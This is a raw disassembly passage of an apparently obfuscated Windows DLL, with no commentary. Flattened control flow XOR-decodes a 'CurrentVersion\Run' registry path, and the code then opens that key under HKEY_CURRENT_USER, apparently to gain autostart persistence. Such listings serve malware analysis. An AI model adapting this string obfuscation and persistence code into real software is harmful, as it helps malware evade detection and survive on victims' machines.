cmp edx, 0x36642f7
je 0x180064a2f
cmp edx, 0x2dfd4f46
jne 0x180064960
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x1800649a8
cmp edx, 0x18793e71
jne 0x180064980
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064980
movzx edx, word [rbp + 0x150]
xor edx, 0x75
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064960
mov ebx, dword [rbp + 0x138]
mov word [rdx + 0xa], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x180064a9f
cmp ebx, 0x2dfd4f46
jne 0x1800649d0
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064a18
cmp ebx, 0x18793e71
jne 0x1800649f0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x1800649f0
movzx ebx, word [rbp + 0x150]
xor ebx, 0x5c
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x1800649d0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0xc], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064b0f
cmp edx, 0x2dfd4f46
jne 0x180064a40
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064a88
cmp edx, 0x18793e71
jne 0x180064a60
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064a60
movzx edx, word [rbp + 0x150]
xor edx, 0x72
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064a40
mov ebx, dword [rbp + 0x138]
mov word [rdx + 0xc], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x180064b7f
cmp ebx, 0x2dfd4f46
jne 0x180064ab0
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064af8
cmp ebx, 0x18793e71
jne 0x180064ad0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064ad0
movzx ebx, word [rbp + 0x150]
xor ebx, 0x77
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064ab0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0xe], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064bef
cmp edx, 0x2dfd4f46
jne 0x180064b20
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064b68
cmp edx, 0x18793e71
jne 0x180064b40
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064b40
movzx edx, word [rbp + 0x150]
xor edx, 0x72
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064b20
mov ebx, dword [rbp + 0x138]
mov word [rdx + 0xe], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x180064c5f
cmp ebx, 0x2dfd4f46
jne 0x180064b90
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064bd8
cmp ebx, 0x18793e71
jne 0x180064bb0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064bb0
movzx ebx, word [rbp + 0x150]
xor ebx, 0x69
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064b90
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x10], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064ccf
cmp edx, 0x2dfd4f46
jne 0x180064c00
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064c48
cmp edx, 0x18793e71
jne 0x180064c20
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064c20
movzx edx, word [rbp + 0x150]
xor edx, 0x65
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064c00
mov ebx, dword [rbp + 0x138]
mov word [rdx + 0x10], bx
mov ebx, 0x2dfd4f46
nop
cmp ebx, 0x36642f7
je 0x180064d3f
cmp ebx, 0x2dfd4f46
jne 0x180064c70
mov qword [rbp + 0x168], rax
mov ebx, 0x18793e71
cmp ebx, 0xe895f03a
je 0x180064cb8
cmp ebx, 0x18793e71
jne 0x180064c90
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe895f03a
jmp 0x180064c90
movzx ebx, word [rbp + 0x150]
xor ebx, 0x6e
mov dword [rbp + 0x138], ebx
mov ebx, 0x36642f7
jmp 0x180064c70
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x12], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064dbf
cmp edx, 0x2dfd4f46
jne 0x180064ce0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064d28
cmp edx, 0x18793e71
jne 0x180064d00
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064d00
movzx edx, word [rbp + 0x150]
xor edx, 0x6e
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064ce0
mov ebx, dword [rbp + 0x138]
mov word [rdx + 0x12], bx
add rdx, 0x14
mov qword [rbp + 0x148], rdx
mov edx, 0x2dfd4f46
nop dword [rax]
cmp edx, 0x36642f7
je 0x180064e2f
cmp edx, 0x2dfd4f46
jne 0x180064d60
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
cmp edx, 0xe895f03a
je 0x180064da8
cmp edx, 0x18793e71
jne 0x180064d80
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064d80
movzx edx, word [rbp + 0x150]
xor edx, 0x64
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064d60
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x14], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064e49
cmp edx, 0x2dfd4f46
jne 0x180064dd0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180064e18
cmp edx, 0x18793e71
jne 0x180064df0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064df0
movzx edx, word [rbp + 0x150]
xor edx, 0x74
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064dd0
mov edx, dword [rbp + 0x138]
mov rbx, qword [rbp + 0x148]
mov word [rbx], dx
mov edx, 0x3c204d0a
jmp 0x180064480
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x16], dx
mov edx, 0x2dfd4f46
nop dword [rax + rax]
cmp edx, 0x36642f7
je 0x180064ebf
cmp edx, 0x2dfd4f46
jne 0x180064e60
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180064ea8
cmp edx, 0x18793e71
jne 0x180064e80
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064e80
movzx edx, word [rbp + 0x150]
xor edx, 0x76
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064e60
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x18], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064f2f
cmp edx, 0x2dfd4f46
jne 0x180064ed0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180064f18
cmp edx, 0x18793e71
jne 0x180064ef0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064ef0
movzx edx, word [rbp + 0x150]
xor edx, 0x65
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064ed0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x1a], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x180064f9f
cmp edx, 0x2dfd4f46
jne 0x180064f40
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180064f88
cmp edx, 0x18793e71
jne 0x180064f60
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064f60
movzx edx, word [rbp + 0x150]
xor edx, 0x72
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064f40
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x1c], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006500f
cmp edx, 0x2dfd4f46
jne 0x180064fb0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180064ff8
cmp edx, 0x18793e71
jne 0x180064fd0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180064fd0
movzx edx, word [rbp + 0x150]
xor edx, 0x73
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180064fb0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x1e], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006507f
cmp edx, 0x2dfd4f46
jne 0x180065020
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180065068
cmp edx, 0x18793e71
jne 0x180065040
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180065040
movzx edx, word [rbp + 0x150]
xor edx, 0x69
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180065020
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x20], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x1800650ef
cmp edx, 0x2dfd4f46
jne 0x180065090
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x1800650d8
cmp edx, 0x18793e71
jne 0x1800650b0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800650b0
movzx edx, word [rbp + 0x150]
xor edx, 0x6f
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180065090
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x22], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006515f
cmp edx, 0x2dfd4f46
jne 0x180065100
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180065148
cmp edx, 0x18793e71
jne 0x180065120
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180065120
movzx edx, word [rbp + 0x150]
xor edx, 0x6e
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180065100
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x24], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x1800651cf
cmp edx, 0x2dfd4f46
jne 0x180065170
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x1800651b8
cmp edx, 0x18793e71
jne 0x180065190
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180065190
movzx edx, word [rbp + 0x150]
xor edx, 0x5c
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180065170
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x26], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006523f
cmp edx, 0x2dfd4f46
jne 0x1800651e0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180065228
cmp edx, 0x18793e71
jne 0x180065200
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180065200
movzx edx, word [rbp + 0x150]
xor edx, 0x72
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800651e0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x28], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x1800652af
cmp edx, 0x2dfd4f46
jne 0x180065250
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180065298
cmp edx, 0x18793e71
jne 0x180065270
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x180065270
movzx edx, word [rbp + 0x150]
xor edx, 0x75
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x180065250
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x2a], dx
mov edx, 0x2dfd4f46
nop
cmp edx, 0x36642f7
je 0x18006531f
cmp edx, 0x2dfd4f46
jne 0x1800652c0
mov qword [rbp + 0x168], rax
mov edx, 0x18793e71
nop dword [rax]
cmp edx, 0xe895f03a
je 0x180065308
cmp edx, 0x18793e71
jne 0x1800652e0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x150], dx
mov edx, 0xe895f03a
jmp 0x1800652e0
movzx edx, word [rbp + 0x150]
xor edx, 0x6e
mov dword [rbp + 0x138], edx
mov edx, 0x36642f7
jmp 0x1800652c0
mov edx, dword [rbp + 0x138]
mov word [rcx + 0x2c], dx
add rcx, 0x2e
mov rdx, qword [rbp + 0x120]
add rdx, 0x5e
mov qword [rbp + 0x140], rdx
mov edx, 0x6e1c89e3
jmp 0x180064480
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0xf], dl
mov dword [rbp + 0x148], 0x22
mov edx, 0xe27ab881
nop word [rax + rax]
cmp edx, 0x132ec055
je 0x180065450
cmp edx, 0xe27ab881
jne 0x180065370
mov edx, 0x8831881a
nop dword [rax]
cmp edx, 0xebb820c6
je 0x1800653ae
cmp edx, 0x8831881a
jne 0x180065390
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065390
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xf
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065370
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call fcn.180071bc0
add rsp, 0x20
mov rcx, qword [rbp + 0x108]
mov rbx, qword [rbp - 0x68]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffff80000001
mov rdx, rax
xor r8d, r8d
mov r9d, 0x2001f
call rbx
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x30
mov rcx, qword [rbp + 0x108]
cmp qword [rcx], 0
mov ecx, 0xaba1942b
mov edx, 0xb4c784f6
cmovne ecx, edx
test eax, eax
mov rax, qword [rbp - 8]
mov eax, 0xaba1942b
cmovne ecx, eax
jmp 0x180060a65
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x10], dl
mov dword [rbp + 0x148], 0xd
mov edx, 0xe27ab881
nop
cmp edx, 0x132ec055
je 0x1800654ca
cmp edx, 0xe27ab881
jne 0x180065470
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800654ae
cmp edx, 0x8831881a
jne 0x180065490
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065490
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x10
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065470
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x11], dl
mov dword [rbp + 0x148], 0xa
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006554a
cmp edx, 0xe27ab881
jne 0x1800654f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x18006552e
cmp edx, 0x8831881a
jne 0x180065510
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065510
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x11
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800654f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x12], dl
mov dword [rbp + 0x148], 0x69
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800655ca
cmp edx, 0xe27ab881
jne 0x180065570
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800655ae
cmp edx, 0x8831881a
jne 0x180065590
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065590
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x12
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065570
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x13], dl
mov dword [rbp + 0x148], 0x66
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006564a
cmp edx, 0xe27ab881
jne 0x1800655f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x18006562e
cmp edx, 0x8831881a
jne 0x180065610
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065610
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x13
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800655f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x14], dl
mov dword [rbp + 0x148], 0x20
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800656ca
cmp edx, 0xe27ab881
jne 0x180065670
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800656ae
cmp edx, 0x8831881a
jne 0x180065690
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065690
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x14
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065670
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x15], dl
mov dword [rbp + 0x148], 0x65
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006574a
cmp edx, 0xe27ab881
jne 0x1800656f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x18006572e
cmp edx, 0x8831881a
jne 0x180065710
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065710
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x15
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800656f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x16], dl
mov dword [rbp + 0x148], pe_nt_image_headers64
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800657ca
cmp edx, 0xe27ab881
jne 0x180065770
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800657ae
cmp edx, 0x8831881a
jne 0x180065790
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065790
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x16
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065770
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x17], dl
mov dword [rbp + 0x148], 0x69
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006584a
cmp edx, 0xe27ab881
jne 0x1800657f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x18006582e
cmp edx, 0x8831881a
jne 0x180065810
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065810
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x17
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800657f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x18], dl
mov dword [rbp + 0x148], reloc.WS2_32.dll_WSAStartup
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800658ca
cmp edx, 0xe27ab881
jne 0x180065870
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800658ae
cmp edx, 0x8831881a
jne 0x180065890
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065890
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x18
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065870
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x19], dl
mov dword [rbp + 0x148], 0x74
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x18006594a
cmp edx, 0xe27ab881
jne 0x1800658f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x18006592e
cmp edx, 0x8831881a
jne 0x180065910
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065910
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x19
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800658f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x1a], dl
mov dword [rbp + 0x148], 0x20
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x1800659ca
cmp edx, 0xe27ab881
jne 0x180065970
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x1800659ae
cmp edx, 0x8831881a
jne 0x180065990
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065990
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x1a
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065970
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x1b], dl
mov dword [rbp + 0x148], 0x22
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180065a4a
cmp edx, 0xe27ab881
jne 0x1800659f0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x180065a2e
cmp edx, 0x8831881a
jne 0x180065a10
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065a10
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x1b
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x1800659f0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x1c], dl
mov dword [rbp + 0x148], 0x25
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180065aca
cmp edx, 0xe27ab881
jne 0x180065a70
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x180065aae
cmp edx, 0x8831881a
jne 0x180065a90
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065a90
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x1c
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065a70
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x1d], dl
mov dword [rbp + 0x148], reloc.WS2_32.dll_WSAStartup
mov edx, 0xe27ab881
nop dword [rax + rax]
cmp edx, 0x132ec055
je 0x180065b4a
cmp edx, 0xe27ab881
jne 0x180065af0
mov edx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp edx, 0xebb820c6
je 0x180065b2e
cmp edx, 0x8831881a
jne 0x180065b10
mov qword [rbp + 0x168], rax
mov edx, 0xebb820c6
jmp 0x180065b10
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0x1d
movsx edx, dl
mov dword [rbp + 0x140], edx
mov edx, 0x132ec055
jmp 0x180065af0
mov edx, dword [rbp + 0x148]
xor edx, dword [rbp + 0x140]
mov byte [rcx + 0x1e], dl
add rcx, 0x1f
mov qword [rbp + 0x128], rcx
mov dword [rbp + 0x148], 0x22
mov ecx, 0xe27ab881
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x132ec055
je 0x180065bda
cmp ecx, 0xe27ab881
jne 0x180065b80
mov ecx, 0x8831881a
nop word cs:[rax + rax]
nop
cmp ecx, 0xebb820c6
je 0x180065bbe
cmp ecx, 0x8831881a
jne 0x180065ba0
mov qword [rbp + 0x168], rax
mov ecx, 0xebb820c6
jmp 0x180065ba0
mov rcx, qword [rbp + 0x168]
mov cl, byte [rcx]
add cl, 0x1e
movsx ecx, cl
mov dword [rbp + 0x140], ecx
mov ecx, 0x132ec055
jmp 0x180065b80
mov ecx, dword [rbp + 0x148]
xor ecx, dword [rbp + 0x140]
mov byte [rbp + 0x11c], cl
mov edx, 0x3f637ba4
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x49ea4ba7
jle 0x180065c30
cmp edx, 0x49ea4ba8
je 0x180065cca
cmp edx, 0x6b957ca6
jne 0x180065c00
jmp 0x180066845
cmp edx, 0xf3850230
je 0x180065cea
cmp edx, 0x3f637ba4
jne 0x180065c00
mov rdx, qword [rbp + 0x128]
mov bl, byte [rbp + 0x11c]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x128]
mov dword [rbp + 0x150], 0x20
mov ebx, 0xe27ab881
nop dword [rax]
cmp ebx, 0x132ec055
je 0x180065d5a
cmp ebx, 0xe27ab881
jne 0x180065c70
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x180065cae
cmp ebx, 0x8831881a
jne 0x180065c90
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180065c90
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x1f
movsx ebx, bl
mov dword [rbp + 0x138], ebx
mov ebx, 0x132ec055
jmp 0x180065c70
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x140]
mov edx, 0x49ea4ba8
mov ebx, 0x6b957ca6
cmove edx, ebx
jmp 0x180065c00
movsx ecx, byte [rbp + 0x15c]
mov dword [rbp + 0x150], ecx
mov ecx, 0xe27ab881
nop dword [rax]
cmp ecx, 0x132ec055
je 0x180065dda
cmp ecx, 0xe27ab881
jne 0x180065d00
mov ecx, 0x8831881a
nop dword [rax]
cmp ecx, 0xebb820c6
je 0x180065d3e
cmp ecx, 0x8831881a
jne 0x180065d20
mov qword [rbp + 0x168], rax
mov ecx, 0xebb820c6
jmp 0x180065d20
mov rcx, qword [rbp + 0x168]
mov cl, byte [rcx]
add cl, 0x2f
movsx ecx, cl
mov dword [rbp + 0x138], ecx
mov ecx, 0x132ec055
jmp 0x180065d00
mov ebx, dword [rbp + 0x150]
xor ebx, dword [rbp + 0x138]
mov byte [rdx + 1], bl
mov dword [rbp + 0x150], 0x67
mov ebx, 0xe27ab881
nop dword [rax + rax]
cmp ebx, 0x132ec055
je 0x180065e6a
cmp ebx, 0xe27ab881
jne 0x180065d80
mov ebx, 0x8831881a
nop dword [rax]
cmp ebx, 0xebb820c6
je 0x180065dbe
cmp ebx, 0x8831881a
jne 0x180065da0
mov qword [rbp + 0x168], rax
mov ebx, 0xebb820c6
jmp 0x180065da0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 0x20
movsx ebx, bl
mov dword [rbp + 0x138], ebx
